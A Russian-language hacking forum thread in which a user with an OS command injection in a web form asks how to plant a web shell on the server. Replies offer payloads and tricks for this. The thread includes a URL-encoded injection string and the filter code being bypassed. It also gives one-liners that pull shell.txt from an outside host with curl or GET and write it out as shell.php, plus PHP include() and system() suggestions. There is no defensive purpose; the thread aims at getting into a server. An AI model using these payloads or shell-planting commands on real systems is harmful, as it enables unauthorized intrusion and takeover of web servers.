![]() |
Как создать файл имея возможность выполнить команду интерпретатора?
Есть уязвимость - не фильтруются параметры формы, что позволяет выполнить команду интерпретатора. Например, вот так:
param1=180%3Bcp+include%2Ffile1.txt+include%2Ffile 2.txt%3B после этого файл копируется. Моя задача - получить шелл на сервак, для этого пытаюсь перенаправить вывод, что-то типа param1=180%3Becho+test%3Einclude%2Ffile.txt%3B (%3E - это ">") Это не работает =( Файл не создаётся. Не пойму в чём дело.. Пробовал делать touch 123 - создаётся, а всё что содержит %3E ('>') не работает. Вопрос - как заставить работать перенаправление вывода или, быть может, есть другой способ имея возможность выполнить команду интерпретатора повесить шелл? Можно, конечно, попробовать скачать файл, но как-то это не универсально.. |
2n0mie,
Код:
echo '<? echo("qwerty"); ?>' >> omgwtfbbq.php |
copy('remote file','localfile');
|
А, точно, можно еще просто слить файл из инета:
Цитата:
|
Цитата:
|
Гмм, стоп. Я че-то не понял, имеется ввиду выполнение Php-кода или команд на серве? :d А то я из поста автора не понял =\
|
Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код. Как раз выполнить пхп код я и хочу )
Можно, конечно, скачать файл с помощью wget/fetch, но хочется универсального решения, т.к. движок бывает и на винде и на юнихах.. Перенаправление в файл не работает, т.к. фильтруется вот таким образом: $QWE = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => '''); $_POST[$key] = strtr(stripslashes($value), $QWE); Возможно есть способ обойти такой фильтр, чтобы > не поменялось на >? |
n0mie
Универсального кроссплатформенного решения боюсь нет :) Дык, wget'ом получилось залить? .Slip, я был прав! :p |
Nek1t
видишь разницу между /bin/bash и интерпритарором php 2TS не обязательно его копировать на сервер ты можешь его исполнить с удаленного сенрвера функцией include() require() require_once() и так далее залив на свой сервак шелл в plain_text например в .txt Получить шелл ты можешь функцией system() exec() passhru() и так далее. php.net тут справочник по функциям. ------------------------ update мда... |
[ cash ]
ТС несколько путает интерпритатор PHP и /bin/bash. Так вот насколько я понял, все таки имеется ввиду выполнения комманд /bin/bash |
Цитата:
"Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код." Скачать файл получилось.. Только не wget, а fetch'ем.. |
Цитата:
Цитата:
|
Кстати есть довольно удобное решения для nixоподобных серверов когда нет возможности запустить wget или его нет.
для таких целей можно пролазеть, грубо вырожаясь через зад. Часто сталкивался что только такие методы помогали. curl http://size.com/shell.txt|cp /dev/stdin /dir/shell.php GET http://size.com/shell.txt|cp /dev/stdin /dir/shell.php |
Цитата:
|
в том то и дело что часто встречался с фильтром символов таких как ">"
|
| Время: 08:41 |